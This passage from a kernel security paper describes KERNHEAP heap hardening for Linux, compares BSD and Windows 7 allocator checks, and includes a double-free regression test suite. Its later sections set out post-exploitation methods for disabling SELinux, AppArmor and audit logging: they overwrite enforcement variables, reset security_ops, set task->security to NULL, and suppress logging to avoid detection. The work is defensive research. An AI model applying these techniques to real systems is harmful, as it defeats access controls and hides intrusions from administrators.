It's worth noting that the freelist_sanitycheck() function provides integrity checking for the freelist, but is enclosed in an ifdef 0 block.

The problem affecting these diagnostic checks is the use of known values, as much as Linux's own SLAB redzoning and poisoning might be easily bypassed in a deliberate attack scenario. It still remains slightly more effective due to the system halt enforcing upon detection, which isn't present in Linux.

Other sanity checks are done with the reference counters in free():

```
    if (ksp->ks_inuse == 0)
                    panic("free 1: inuse 0, probable double free");
```

And validating (with a simple address range test) if the pointer being freed looks sane:

```
    if (__predict_false((vaddr_t)addr < vm_map_min(kmem_map) ||
            (vaddr_t)addr >= vm_map_max(kmem_map)))
                    panic("free: addr %p not within kmem_map", addr);
```

Ultimately, users of either NetBSD or OpenBSD might want to enable KMEMSTATS or DIAGNOSTIC configurations to provide basic protection against heap corruption in those systems.

---[3.4 Microsoft Windows 7 kernel pool allocator safe unlinking

In 26 May 2009, a suspiciously timed article was published by Peter Beck from the Microsoft Security Engineering Center (MSEC) Security Science team, about the inclusion of safe unlinking into the Windows 7 kernel pool (the equivalent to the slab allocators in Linux).

This has received a deal of publicity for a change which accounts up to two lines of effective code, and surprisingly enough, was already present in non-retail versions of Vista. In addition, safe unlinking has been present in other heap allocators for a long time: in the GNU libc since at least 2.3.5 (proposed by Stefan Esser originally to Solar Designer for the Owl libc) and the Linux kernel since 2006 (CONFIG_DEBUG_LIST).

While it is out of scope for this paper to explain the internals of the Windows kernel pool allocator, this section will provide a short overview of it. For true insight the slides by Kostya Kortchinsky, "Exploiting Kernel Pool Overflows" [14], can provide a through look at it from a sound security perspective.

The allocator is very similar to SLAB and the API to obtain allocations and release them is straightforward (nt!ExAllocatePool(WithTag), nt!ExFreePool(WithTag) and so forth). The default pools (sort of a kmem_cache equivalent) are the (two) paged, non-paged and session paged ones. Non-paged for physical memory allocations and paged for pageable memory. The structure defining a pool can be seen below:

```
    kd> dt nt!_POOL_DESCRIPTOR
      +0x000 PoolType         : _POOL_TYPE
      +0x004 PoolIndex        : Uint4B
      +0x008 RunningAllocs    : Uint4B
      +0x00c RunningDeAllocs  : Uint4B
      +0x010 TotalPages       : Uint4B
      +0x014 TotalBigPages    : Uint4B
      +0x018 Threshold        : Uint4B
      +0x01c LockAddress      : Ptr32 Void
```

```
       +0x020 PendingFrees     : Ptr32 Void
       +0x024 PendingFreeDepth : Int4B
       +0x028 ListHeads        : [512] _LIST_ENTRY
```

The most important member in the structure is ListHeads, which contains 512 linked lists, to hold the free chunks. The granularity of the allocator is 8 bytes for Windows XP and up, and 32 bytes for Windows 2000. The maximum allocation size possible is 4080 bytes. LIST_ENTRY is exactly the same as LIST_HEAD in Linux.

Each chunk contains a 8 byte header. The chunk header is defined as follows for Windows XP and up:

```
    kd> dt nt!_POOL_HEADER
       +0x000 PreviousSize     : Pos 0, 9 Bits
       +0x000 PoolIndex        : Pos 9, 7 Bits
       +0x002 BlockSize        : Pos 0, 9 Bits
       +0x002 PoolType         : Pos 9, 7 Bits
       +0x000 Ulong1           : Uint4B
       +0x004 ProcessBilled    : Ptr32 _EPROCESS
       +0x004 PoolTag          : Uint4B
       +0x004 AllocatorBackTraceIndex : Uint2B
       +0x006 PoolTagHash      : Uint2B
```

The PreviousSize contains the value of the BlockSize of the previous chunk, or zero if it’s the first. This value could be checked during unlinking for additional safety, but this isn’t the case (their checks are limited to validity of prev/next pointers relative to the entry being deleted). PooType is zero if free, and PoolTag contains four printable characters to identify the user of the allocation. This isn’t authenticated nor verified in any way, therefore it is possible to provide a bogus tag to one of the allocation or free APIs.

For small allocations, the pool allocator uses lookaside caches, with a maximum BlockSize of 256 bytes.

Kostya’s approach to abuse pool allocator overflows involves the classic write-4 primitive through unlinking of a fake chunk under his control. For the rest of information about the allocator internals, please refer to his excellent slides [14].

The minimal change introduced by Microsoft to enable safe unlinking in Windows 7 was already present in Vista non-retail builds, thus it is likely that the announcement was merely a marketing exercise. Furthermore, Beck states that this allows to detect "memory corruption at the earliest opportunity", which isn’t necessarily correct if they had pursued a more complete solution (for example, verifying that pointers belong to actual freelist chunks). Those might incur in a higher performance overhead, but provide far more consistent protection.

The affected API is RemoveEntryList(), and the result of unlinking an entry with incorrect prev/next pointers will be a BugCheck:

```
    Flink = Entry->Flink;
    Blink = Entry->Blink;
    if (Flink->Blink != Entry) KeBugCheckEx(...);
    if (Blink->Flink != Entry) KeBugCheckEx(...);
```

It’s unlikely that there will be further changes to the pool allocator for Windows 7, but there’s still time for this to change before release date.

------[4. Sanitizing memory of the look-aside caches

The objects and data contained in slabs allocated within the kmem caches could be of sensitive nature, including but not limited to:

cryptographic secrets, PRNG state information, network information, userland credentials and potentially useful internal kernel state information to leverage an attack (including our guards or cookie values).

In addition, neither kfree() nor kmalloc() zero memory, thus allowing the information to stay there for an indefinite time, unless they are overwritten after the space is claimed in an allocation procedure. This is a security risk by itself, since an attacker could essentially rely on this condition to "spray" the kernel heap with his own fake structures or machine instructions to further improve the reliability of his attack.

PaX already provides a feature to sanitize memory upon release, at a performance cost of roughly 3%. This an opt-all policy, thus it is not possible to choose in a fine-grained manner what memory is sanitized and what isn't. Also, it works at the lowest level possible, the page allocator. While this is a safe approach and ensures that all allocated memory is properly sanitized, it is desirable to be able to opt-in voluntarily to have your newly allocated memory treated as sensitive.

Hence, a GFP_SENSITIVE flag has been introduced. While a security conscious developer could zero memory on his own, the availability of a flag to assure this behavior (as well as other enhancements and safety checks) is convenient. Also, the performance cost is negligible, if any, since the flag could be applied to specific allocations or caches altogether.

The low level page allocator uses a PF_sensitive flag internally, with the associated SetPageSensitive, ClearPagesensitiv and PageSensitive macros. These changes have been introduced in the linux/page-flags.h header and mm/page_alloc.c.

```
     SLAB / kmalloc layer         Low-level page allocator
     include/linux/slab.h         include/linux/page-flags.h

       +----------------.           +--------------+
       | SLAB_SENSITIVE |         ->| PG_sensitive |
       +----------------.         | +--------------+
          |                       |      |-> SetPageSensitive
          |     +---------------+ |      |-> ClearPageSensitive
          \---> | GFP_SENSITIVE |-/      |-> PageSensitive
                +---------------+            ...
```

This will prevent the aforementioned leak of information post-release, and provide an easy to use mechanism for third-party developers to take advantage of the additional assurance provided by this feature.

In addition, another loophole that has been removed is related with situations in which successive allocations are done via kmalloc(), and the information is still accessible through the newly allocated object. This happens when the slab is never released back to the page allocator, since slabs can live for an indefinite amount of time (there's no assurance as to when the cache will go through shrinkage or reaping). Upon release, the cache can be checked for the SLAB_SENSITIVE flag, the page can be checked for the PG_sensitive bit, and the allocation flags can be checked for GFP_SENSITIVE.

Currently, the following interfaces have been modified to operate with this flag when appropriate:

- IPC kmem cache
- Cryptographic subsystem (CryptoAPI)
- TTY buffer and auditing API
- WEP encryption and decryption in mac80211 (key storage only)
- AF_KEY sockets implementation
- Audit subsystem

The RBAC engine in grsecurity can be modified to add support for enabling the sensitive memory flag per-process. Also, a group id based check could be added, configurable via sysctl. This will allow fine-grained policy or group based deployment of the current and future benefits of this flag. SELinux and any other policy based security frameworks could benefit from this feature as well.

This patchset has been proposed to the mainline kernel developers as of May 21st 2009 (see http://patchwork.kernel.org/patch/25062). It received feedback from Alan Cox and Rik van Riel and a different approach was used after some developers objected to the use of a page flag, since the functionality can be provided to SLAB/SLUB allocators and the VMA interfaces without the use of a page flag. Also, the naming changed to CONFIDENTIAL, to avoid confusion with the term 'sensitive'.

Unfortunately, without a page bit, it's impossible to track down what pages shall be sanitized upon release, and provide fine-grained control over these operations, making the gfp flag almost useless, as well as other interesting features, like sanitizing pages locked via mlock(). The mainline kernel developers oppose the introduction of a new page flag, even though SLUB and SLOB introduced their own flags when they were merged, and this wasn't frowned upon in such cases. Hopefully this will change in the future, and allow a more complete approach to be merged in mainline at some point.

Despite the fact that Ingo Molnar, Pekka Enberg and Peter Zijlstra completely missed the point about the initially proposed patches, new ones performing selective sanitization were sent following up their recommendations of a completely flawed approach. This case serves as a good example of how kernel developers without security knowledge nor experience take decisions that negatively impact conscious users of the Linux kernel as a whole.

Hopefully, in order to provide a reliable protection, the upstream approach will finally be selective sanitization using kzfree(), allowing us to redefine it to kfree() in the appropriate header file, and use something that actually works. Fixing a broken implementation is an undesirable burden often found when dealing with the 2.6 branch of the kernel, as usual.

------[5. Deterrence of IPC based kmalloc() overflow exploitation

In addition to the rest of the features which provide a generic protection against common scenarios of kernel heap corruption, a modification has been introduced to deter a specific local attack for abusing kmalloc() overflows successfully. This technique is currently the only public approach to kernel heap buffer overflow exploitation and relies on the following circumstances:

1. The attacker has local access to the system and can use the IPC subsystem, more specifically, create, destroy and perform operations on semaphores.

2. The attacker is able to abuse a allocate-overflow-free situation which can be leveraged to overwrite adjacent objects, also allocated via kmalloc() within the same kmem cache.

3. The attacker can trigger the overflow in the right timing to ensure that the adjacent object overwritten is under his control. In this case, the shmid_kernel structure (used internally within the IPC subsystem), leading to a userland pointer dereference, pointing at attacker controlled structures.

4. Ultimately, when these attacker controlled structures are used by the IPC subsystem, a function pointer is called. Since the attacker controls this information, this is essentially a game-over scenario. The kernel will execute arbitrary code of

the attacker’s choice and this will lead to elevation of privileges.

Currently, PaX UDEREF [8] on x86 provides solid protection against (3) and (4). The attacker will be unable to force the kernel into executing instructions located in the userland address space. A specific class of vulnerabilities, kernel NULL pointer deferences (which were, for a long time, overlooked and not considered exploitable by most of the public players in the security community, with few exceptions) were mostly eradicated (thanks to both UDEREF and further restrictions imposed on mmap(), later implemented by Red Hat and accepted into mainline, albeit containing flaws which made the restriction effectively useless).

On systems where using UDEREF is unbearable for performance or functionality reasons (for example, virtualization), a workaround to harden the IPC subsystem was necessary. Hence, a set of simple safety checks were devised for the shmid_kernel structure, and the allocation helper functions have been modified to use their own private cache.

The function pointer verification checks if the pointers located within the file structure, are actually addresses within the kernel text range (including modules).

The internal allocation procedures of the IPC code make use of both vmalloc() and kmalloc(), for sizes greater than a page or lower than a page, respectively. Thus, the size for the cache objects is PAGE_SIZE, which might be suboptimal in terms of memory space, but does not impact performance. These changes have been tested using the IBM ipc_stress test suite distributed in the Linux Test Project sources, with successful results (can be obtained from http://ltp.sourceforge.net).

------[6. Prevention of copy_to_user() and copy_from_user() abuse

A vast amount of kernel vulnerabilities involving information leaks to userland, as well as buffer overflows when copying data from userland, are caused by signedness issues (meaning integer overflows, reference counter overflows, et cetera). The common scenario is an invalid integer passed to the copy_to_user() or copy_from_user() functions.

During the development of KERNHEAP, a question was raised about these functions: Is there a existent, reliable API which allows retrieval of the target buffer information in both copy-to and copy-from scenarios?

Introducing size awareness in these functions would provide a simple, yet effective method to deter both information leaks and buffer overflows through them. Obviously, like in every security system, the effectiveness of this approach is orthogonal to the deployment of other measures, to prevent potential corner cases and rare situations useful for an attacker to bypass the safety checks.

The current kernel heap allocators (including SLOB) provide a function to retrieve the size of a slab object, as well as testing the validity of a pointer to see if it’s within the known caches (excluding SLOB which required this function to be written since it’s essentially a no-op in upstream sources). These functions are ksize() and kmem_validate_ptr() respectively (in each pertinent allocator source: mm/slab.c, mm/slub.c and mm/slob.c).

In order to detect whether a buffer is stack or heap based in the kernel, the object_is_on_stack() function (from include/linux/sched.h) can be used. The drawback of these functions is the computational cost of looking up the page where this buffer is located, checking its validity wherever applicable (in the case of kmem_validate_ptr() this involves validating against a known cache) and performing other tasks to determine the validity and properties of the buffer. Nonetheless, the performance impact might be negligible and reasonable for the additional assurance provided with these changes.

Brad Spengler devised this idea, developed and introduced the checks into the latest test patches as of April 27th (test10 to test11 from PaX and the grsecurity counterparts for the current kernel stable release, 2.6.29.1).

A reliable method to detect stack-based objects is still being considered for implementation, and might require access to meta-data used for debuggers or future GCC built-ins.

------[7. Prevention of vsyscall overwrites on x86_64

This technique is used in sgrakkyu's exploit for CVE-2009-0065. It involves overwriting a x86_64 specific location within a top memory allocated page, containing the vsyscall mapping. This mapping is used to implement a high performance entry point for the gettimeofday() system call, and other functionality.

An attacker can target this mapping by means of an arbitrary write-N primitive and overwrite the machine instructions there to produce a reliable return vector, for both remote and local attacks. For remote attacks the attacker will likely use an offset-aware approach for reliability, but locally it can be used to execute an offset-less attack, and force the kernel into dereferencing userland memory. This is problematic since presently PaX does not support UDEREF on x86_64 and the performance cost of its implementation could be significant, making abuse a safe bet even against hardened environments.

Therefore, contrary to past popular belief, x86_64 systems are more exposed than i386 in this regard.

During conversations with the PaX Team, some difficulties came to attention regarding potential approaches to deter this technique:

1. Modifying the location of the vsyscall mapping will break compatibility. Thus, glibc and other userland software would require further changes. See arch/x86/kernel/vmlinux_64.lds.S and arch/x86/kernel/vsyscall_64.c

2. The vsyscall page is defined within the ld linked script for x86_64 (arch/x86/kernel/vmlinux_64.lds.S). It is defined by default (as of 2.6.29.3) within the boundaries of the .data section, thus writable for the kernel. The userland mapping is read-execute only.

3. Removing vsyscall support might have a large performance impact on applications making extensive use of gettimeofday().

4. Some data has to be written in this region, therefore it can't be permanently read-only.

PaX provides a write-protect mechanism used by KERNEXEC, together with its definition for an actual working read-only .rodata implementation. Moving the vsyscall within the .rodata section provides reliable protection against this technique. In order to prevent sections from overlapping, some changes had to be introduced, since the section has to be aligned to page size. In non-PaX kernels, .rodata is only protected if the CONFIG_DEBUG_RODATA option is enabled.

The PaX Team solved {4} using pax_open_kernel() and pax_close_kernel() to allow writes temporarily. This has some performance impact but is most likely far lower than removing vsyscall support completely.

This deters abuse of the vsyscall page on x86_64, and prevents offset-based remote and offset-less local exploits from leveraging a reliable attack against a kernel vulnerability. Nonetheless, protection against this venue of attack is still work in progress.

------[8. Developing the right regression testsuite for KERNHEAP

Shortly after the initial development process started, it became evident that a decent set of regression tests was required to check if the implementation worked as expected. While using single loadable modules for each test was a straightforward solution, in the longterm, having a real tool to perform thorough testing seemed the most logical approach.

Hence, KHTEST has been developed. It's composed of a kernel module which communicates to a userland Python program over Netlink sockets. The ctypes API is used to handle the low level structures that define commands and replies. The kernel module exposes internal APIs to the userland process, such as:

- kmalloc
- kfree
- memset and memcpy
- copy_to_user and copy_from_user

Using this interface, allocation and release of kernel memory can be controlled with a simple Python script, allowing efficient development of testcases:

```
e = KernHeapTester()
addr = e.kmalloc(size)
e.kfree(addr)
e.kfree(addr)
```

When this test runs on an unprotected 2.6.29.2 system (SLAB as allocator, debugging capabilities enabled) the following output can be observed in the kernel message buffer, with a subsequent BUG on cache reaping:

```
KERNHEAP test-suite loaded.
run_cmd_kmalloc: kmalloc(64, 000000b0) returned 0xDF1BEC30
run_cmd_kfree: kfree(0xDF1BEC30)
run_cmd_kfree: kfree(0xDF1BEC30)
slab error in verify_redzone_free(): cache `size-64': double free detected
Pid: 3726, comm: python Not tainted 2.6.29.2-grsec #1
Call Trace:
 [<c0889a81>] __slab_error+0x1a/0x1c
 [<c088aee9>] cache_free_debugcheck+0x137/0x1f5
 [<e082f25c>] ? run_cmd_kfree+0x1e/0x23 [kernheap_test]
 [<c088ba14>] kfree+0x9d/0xd2
 [<e082f25c>] run_cmd_kfree+0x1e/0x23

kernel BUG at mm/slab.c:2720!
invalid opcode: 0000 [#1] SMP
last sysfs file: /sys/kernel/uevent_seqnum
Pid: 10, comm: events/0 Not tainted (2.6.29.2-grsec #1) VMware Virtual Platform
EIP: 0060:[<c088ac00>] EFLAGS: 00010092 CPU: 0
EIP is at slab_put_obj+0x59/0x75
EAX: 0000004f EBX: df1be000 ECX: c0828819 EDX: c197c000
ESI: 00000021 EDI: df1bec28 EBP: dfb3deb8 ESP: dfb3de9c
DS: 0068 ES: 0068 FS: 00d8 GS: 0000 SS: 0068
Process events/0 (pid: 10, ti=dfb3c000 task=dfb3ae30 task.ti=dfb3c000)
Stack:
 c0bc24ee c0bc1fd7 df1bec28 df800040 df1be000 df8065e8 df800040 dfb3dee0
 c088b42d 00000000 df1bec28 00000000 00000001 df809db4 df809db4 00000001
 df809d80 dfb3df00 c088be34 00000000 df8065e8 df800040 df8065e8 df800040
Call Trace:
 [<c088b42d>] ? free_block+0x98/0x103
 [<c088be34>] ? drain_array+0x85/0xad
 [<c088beba>] ? cache_reap+0x5e/0xfe
 [<c083586a>] ? run_workqueue+0xc4/0x18c
 [<c088be5c>] ? cache_reap+0x0/0xfe
 [<c0838593>] ? kthread+0x0/0x59
```

```
        [<c0803717>] ? kernel_thread_helper+0x7/0x10
```

The following code presents a more complex test to evaluate a double-free situation which will put a random kmalloc cache into an unpredictable state:

```
    e = KernHeapTester()
            addrs = []
            kmalloc_sizes = [ 32, 64, 96, 128, 196, 256, 1024, 2048, 4096]

            i = 0
            while i < 1024:
                    addr = e.kmalloc(random.choice(kmalloc_sizes))
                    addrs.append(addr)
                    i += 1

            random.seed(os.urandom(32))
            random.shuffle(addrs)
            e.kfree(random.choice(addrs))
            random.shuffle(addrs)

            for addr in addrs:
                    e.kfree(addr)
```

On a KERNHEAP protected host:

```
Kernel panic - not syncing: KERNHEAP: Invalid kfree() in (objp
df38e000) by python:3643, UID:0 EUID:0
```

The testsuite sources (including both the Python module and the LKM for the 2.6 series, tested with 2.6.29) are included along this paper. Adding support for new kernel APIs should be a trivial task, requiring only modification of the packet handler and the appropriate addition of a new command structure. Potential improvements include the use of a shared memory page instead of Netlink responses, to avoid impacting the allocator state or conflict with our tests.

------[9. The Inevitability of Failure

In 1998, members (Loscocco, Smalley et. al) of the Information Assurance Group at the NSA published a paper titled "The Inevitability of Failure: The Flawed Assumption of Security in Modern Computing Environments" [12].

The paper explains how modern computing systems lacked the necessary features and capabilities for providing true assurance, to prevent compromise of the information contained in them. As systems were becoming more and more connected to networks, which were growing exponentially, the exposure of these systems grew proportionally. Therefore, the state of art in security had to progress in a similar pace.

From an academic standpoint, it is interesting to observe that more than 10 years later, the state of art in security hasn't evolved dramatically, but threats have gone well beyond the initial expectations.

> "Although public awareness of the need for security in computing systems is growing rapidly, current efforts to provide security are unlikely to succeed. Current security efforts suffer from the flawed assumption that adequate security can be provided in applications with the existing security mechanisms of mainstream operating systems. In reality, the need for secure operating systems is growing in today's computing environment due to substantial increases in connectivity and data sharing." Page 1, [12]

Most of the authors of this paper were involved in the development of the Flux Advanced Security Kernel (FLASK), at the University of Utah. Flask itself has its roots in an original joint project of the then known as Secure Computing Corporation (SCC) (acquired by McAfee in 2008) and the National Security Agency, in 1992 and 1993, the Distributed Trusted Operating System (DTOS). DTOS inherited the development and design ideas of a previous project named DTMach (Distributed Trusted Match) which aimed to introduce a flexible access control framework into the GNU Mach microkernel. Type Enforcement was first introduced in DTMach, superseded in Flask with a more flexible design which allowed far greater granularity (supporting mixing of different types of labels, beyond only types, such as sensitivity, roles and domains).

Type Enforcement is a simple concept: a Mandatory Access Control (MAC) takes precedence over a Discretionary Access Control (DAC) to contain subjects (processes, users) from accessing or manipulating objects (files, sockets, directories), based on the decision made by the security system upon a policy and subject's attached security context. A subject can undergo a transition from one security context to another (for example, due to role change) if it's explicitly allowed by the policy. This design allows fine-grained, albeit complex, decision making.

Essentially, MAC means that everything is forbidden unless explicitly allowed by a policy. Moreover, the MAC framework is fully integrated into the system internals in order to catch every possible data access situation and store state information.

The true benefits of these systems could be exercised mostly in military or government environments, where models such as Multi-Level Security (MLS) are far more applicable than for the general public.

Flask was implemented in the Fluke research operating system (using the OSKit framework) and ultimately lead to the development of SELinux, a modification of the Linux kernel, initially standalone and ported afterwards to use the Linux Security Modules (LSM) framework when its inclusion into mainline was rejected by Linus Tordvals. Flask is also the basis for TrustedBSD and OpenSolaris FMAC. Apple's XNU kernel, albeit being largely based off FreeBSD (which includes TrustedBSD modifications since 6.0) decided to implement its own security mechanism (non-MAC) known as Seatbelt, with its own policy language.

While the development of these systems represents a significant step towards more secure operating systems, without doubt, the real-world perspective is of a slightly more bleak nature. These systems have steep learning curves (their policy languages are powerful but complex, their nature is intrinsically complicated and there's little freely available support for them, plus the communities dedicated to them are fairly small and generally oriented towards development), impose strict restrictions to the system and applications, and in several cases, might be overkill to the average user or administrator.

A security system which requires (expensive, length) specialized training is dramatically prone to being disabled by most of its potential users. This is the reality of SELinux in Fedora and other systems. The default policies aren't realistic and users will need to write their own modules if they want to use custom software. In addition, the solution to this problem was less then suboptimal: the targeted (now modular) policy was born.

The SELinux targeted policy (used by default in Fedora 10) is essentially a contradiction of the premises of MAC altogether. Most applications run under the unconfined_t domain, while a small set of daemons and other tools run confined under their own domains. While this allows basic, usable security to be deployed (on a related note, XNU Seatbelt follows a similar approach, although unsuccessfully), its effectiveness to stop determined attackers is doubtful.

For instance, the Apache web server daemon (httpd) runs under the httpd_t domain, and is allowed to access only those files labeled with the httpd_sys_content_t type. In a PHP local file include scenario this will prevent an attacker from loading system configuration files, but won't prevent him from reading passwords from a PHP configuration file which could provide credentials to connect to the back-end database server, and further compromise the system by obtaining any access information stored there. In a relatively more complex scenario, a PHP code execution vulnerability could be leveraged to access the apache process file descriptors, and perhaps abuse a vulnerability to leak memory or inject code to intercept requests. Either way, if an attacker obtains unconfined_t access, it's a game over situation. This is acknowledged in [13], along an interesting citation about the managerial decisions that lead to the targeted policy being developed:

> "SELinux can not cause the phones to ring"
> "SELinux can not cause our support costs to rise."
> Strict Policy Problems, slide 5. [13]

---[9.1 Subverting SELinux and the audit subsystem

Fedora comes with SELinux enabled by default, using the targeted policy. In remote and local kernel exploitation scenarios, disabling SELinux and the audit framework is desirable, or outright necessary if MLS or more restrictive policies are used.

In March 2007, Brad Spengler sent a message to a public mailing-list, announcing the availability of an exploit abusing a kernel NULL pointer dereference (more specifically, an offset from NULL) which disabled all LSM modules atomically, including SELinux. tee42-24tee.c exploited a vulnerability in the tee() system call, which was silently fixed by Jens Axboe from SUSE (as "[patch 25/45] splice: fix problems with sys_tee()").

Its approach to disable SELinux locally was extremely reliable and simplistic at the same. Once the kernel continues execution at the code in userland, using shellcode is unnecessary. This applies only to local exploits normally, and allows offset-less exploitation, resulting in greater reliability. All the LSM disabling logic in tee42-24tee.c is written in C which can be easily integrated in other local exploits.

The disable_selinux() function has two different stages independent of each other. The first finds the selinux_enabled 32-bit integer, through a linear memory search that seeks for a cmp opcode within the selinux_ctxid_to_string() function (defined in selinux/exports.c and present only in older kernels). In current kernels, a suitable replacement is the selinux_string_to_sid() function.

Once the address to selinux_enabled is found, its value is set to zero. this is the first step towards disabling SELinux. Currently, additional targets should be selinux_enforcing (to disable enforcement mode) and selinux_mls_enabled.

The next step is the atomic disabling of all LSM modules. This stage also relies on an finding an old function of the LSM framework, unregister_security(), which replaced the security_ops with dummy_security_ops (a set of default hooks that perform simple DAC without any further checks), given that the current security_ops matched the ops parameter.

This function has disappeared in current kernels, but setting the security_ops to default_security_ops achieves the same effect, and it should be reasonably easy to find another function to use as reference in the memory search. This change was likely part of the facelift that LSM underwent to remove the possibility of using the framework in loadable kernel modules.

With proper fine-tuning and changes to perform additional opcode checks, recent kernels should be as easy to write a SELinux/LSM disabling functionality that works across different architectures.

For remote exploitation, a typical offset-based approach like that used in sgraykku's sctp_houdini.c exploit (against x86_64) should be reliable and painless. Simply write a zero value to selinux_enforcing, selinux_enabled and selinux_mls_enabled (albeit the first is well enough). Further more, if we already know the address of security_ops and default_security_ops, we can disable LSMs altogether that way too.

If an attacker has enough permissions to control a SCTP listener or run his own, then remote exploitation on x86_64 platforms can be made completely reliable against unknown kernels through the use of the vsyscall exploitation technique, to return control to the attacker controller listener in a previous mapped -fixed- address of his choice. In this scenario, offset-less SELinux/LSM disabling functionality can be used.

Fortunately, this isn't even necessary since most Linux distributions still ship with world-readable /boot mount points, and their package managers don't do anything to solve this when new kernel packages are installed:

```
    Ubuntu 8.04 (Hardy Heron)
    -rw-r--r-- 1 root 413K  /boot/abi-2.6.24-24-generic
    -rw-r--r-- 1 root  79K  /boot/config-2.6.24-24-generic
    -rw-r--r-- 1 root 8.0M  /boot/initrd.img-2.6.24-24-generic
    -rw-r--r-- 1 root 885K  /boot/System.map-2.6.24-24-generic
    -rw-r--r-- 1 root  62M  /boot/vmlinux-debug-2.6.24-24-generic
    -rw-r--r-- 1 root 1.9M  /boot/vmlinuz-2.6.24-24-generic

     Fedora release 10 (Cambridge)
    -rw-r--r-- 1 root  84K  /boot/config-2.6.27.21-170.2.56.fc10.x86_64
    -rw------- 1 root 3.5M  /boot/initrd-2.6.27.21-170.2.56.fc10.x86_64.img
    -rw-r--r-- 1 root 1.4M  /boot/System.map-2.6.27.21-170.2.56.fc10.x86_64
    -rwxr-xr-x 1 root 2.6M  /boot/vmlinuz-2.6.27.21-170.2.56.fc10.x86_64
```

Perhaps, one easy step before including complex MAC policy based security frameworks, would be to learn how to use DAC properly. Contact your nearest distribution security officer for more information.

---[9.2 Subverting AppArmor

Ubuntu and SUSE decided to bundle AppArmor (aka SubDomain) instead (Novell acquired Immunix in May 2005, only to lay off their developers in September 2007, leaving AppArmor development "open for the community"). AppArmor is completely different than SELinux in both design and implementation.

It uses pathname based security, instead of using filesystem object labeling. This represents a significant security drawback itself, since different policies can apply to the same object when it's accessed by different names. For example, through a symlink. In other words, the security decision making logic can be forced into using a less secure policy by accessing the object through a pathname that matches to an existent policy. It's been argued that labeling-based approaches are due to requirements of secrecy and information containment, but in practice, security itself equals to information containment. Theory-related discussions aside, this section will provide a basic overview on how AppArmor policy enforcement works, and some techniques that might be suitable in local and remote exploitation scenarios to disable it.

The most simple method to disable AppArmor is to target the 32-bit integers used to determine if it's initialized or enabled. In case the system being targeted runs a stock kernel, the task of accessing these symbols is trivial, although an offset-dependent exploit is certainly suboptimal:

```
    c03fa7ac D apparmorfs_profiles_op
    c03fa7c0 D apparmor_path_max
     (Determines the maximum length of paths before access is rejected
     by default)

    c03fa7c4 D apparmor_enabled
     (Determines if AppArmor is currently enabled - used on runtime)

    c04eb918 B apparmor_initialized
     (Determines if AppArmor was enabled on boot time)

    c04eb91c B apparmor_complain
     (The equivalent to SELinux permissive mode, no enforcement)

    c04eb924 B apparmor_audit
     (Determines if the audit subsystem will be used to log messages)

    c04eb928 B apparmor_logsyscall
     (Determines if system call logging is enabled - used on runtime)
```

A NULL-write primitive suffices to overwrite the values of any of those integers. But for local or shellcode based exploitation, a function exists that can disable AppArmor on runtime, apparmor_disable(). This function is straightforward and reasonably easy to fingerprint:

```
    0xc0200e60 mov    eax,0xc03fad54
    0xc0200e65 call   0xc031bcd0 <mutex_lock>
    0xc0200e6a call   0xc0200110 <aa_profile_ns_list_release>
    0xc0200e6f call   0xc01ff260 <free_default_namespace>
    0xc0200e74 call   0xc013e910 <synchronize_rcu>
    0xc0200e79 call   0xc0201c30 <destroy_apparmorfs>
    0xc0200e7e mov    eax,0xc03fad54
    0xc0200e83 call   0xc031bc80 <mutex_unlock>
    0xc0200e88 mov    eax,0xc03bba13
    0xc0200e8d mov    DWORD PTR ds:0xc04eb918,0x0
    0xc0200e97 jmp    0xc0200df0 <info_message>
```

It sets a lock to prevent modifications to the profile list, and releases it. Afterwards, it unloads the apparmorfs and releases the lock, resetting the apparmor_initialized variable. This method is not stealth by any means. A message will be printed to the kernel message buffer notifying that AppArmor has been unloaded and the lack of the apparmor directory within /sys/kernel (or the mount-point of the sysfs) can be easily observed.

The apparmor_audit variable should be preferably reset to turn off logging to the audit subsystem (which can be disabled itself as explained in the previous section).

Both AppArmor and SELinux should be disabled together with their logging facilities, since disabling enforcement alone will turn off their effective restrictions, but denied operations will still get recorded. Therefore, it's recommended to reset apparmor_logsyscall, apparmor_audit, apparmor_enabled and apparmor_complain altogether.

Another viable option, albeit slightly more complex, is to target the internals of AppArmor, more specifically, the profile list. The main data structure related to profiles in AppArmor is 'aa_profile' (defined in apparmor.h):

```
    struct aa_profile {
            char *name;
            struct list_head list;
            struct aa_namespace *ns;

            int exec_table_size;
```

```
                char **exec_table;
                struct aa_dfa *file_rules;
                struct {
                        int hat;
                        int complain;
                        int audit;
                } flags;
                int isstale;

                kernel_cap_t set_caps;
                kernel_cap_t capabilities;
                kernel_cap_t audit_caps;
                kernel_cap_t quiet_caps;

                struct aa_rlimit rlimits;
                unsigned int task_count;

                struct kref count;
                struct list_head task_contexts;
                spinlock_t lock;
                unsigned long int_flags;
                u16 network_families[AF_MAX];
                u16 audit_network[AF_MAX];
                u16 quiet_network[AF_MAX];
        };
```

The definition in the header file is well commented, thus we will look only at the interesting fields from an attacker’s perspective. The flags structure contains relevant fields:

1. audit: checked by the PROFILE_AUDIT macro, used to determine if an event shall be passed to the audit subsystem.

2. hat: checked by the PROFILE_IS_HAT macro, used to determine if this profile is a subprofile (’hat’).

3. complain: checked by the PROFILE_COMPLAIN macro, used to determine if this profile is in complain/non-enforcement mode (for example in aa_audit(), from main.c). Events are logged but no policy is enforced.

From the flags, the immediately useful ones are audit and complain, but the hat flag is interesting nonetheless. AppArmor supports ’hats’, being subprofiles which are used for transitions from a different profile to enable different permissions for the same subject. A subprofile belongs to a profile and has its hat flag set. This is worth looking at if, for example, altering the hat flag leads to a subprofile being handled differently (ex. it remains set despite the normal behavior would be to fall back to the original profile). Investigating this possibility in depth is out of the scope of this article.

The task_contexts holds a list of the tasks confined by the profile (the number of tasks is stored in task_count). This is an interesting target for overwrites, and a look at the aa_unconfine_tasks() function shows the logic to unconfine all tasks associated for a given profile. The change itself is done by aa_change_task_context() with NULL parameters. Each task has an associated context (struct aa_task_context) which contains references to the applied profile, the magic cookie, the previous profile, its task struct and other information. The task context is retrieved using an inlined function:

```
    static inline struct aa_task_context
    *aa_task_context(struct task_struct *task)
    {
        return (struct aa_task_context *) rcu_dereference(task->security);
    }
```

And after this dissertation on AppArmor internals, the long awaited method to unconfine tasks is unfold: set task->security to NULL. It's that simple, but it would have been unfair to provide the answer without a little analytical effort. It should be noted that this method likely works for most LSM based solutions, unless they specifically handle the case of a NULL security context with a denial response.

The serialized profiles passed to the kernel are unpacked by the aa_unpack_profile() function (defined in module_interface.c).

Finally, these structures are allocated within one of the standard kmem caches, via kmalloc. AppArmor does not use a private cache, therefore it is feasible to reach these structures in a slab overflow scenario.

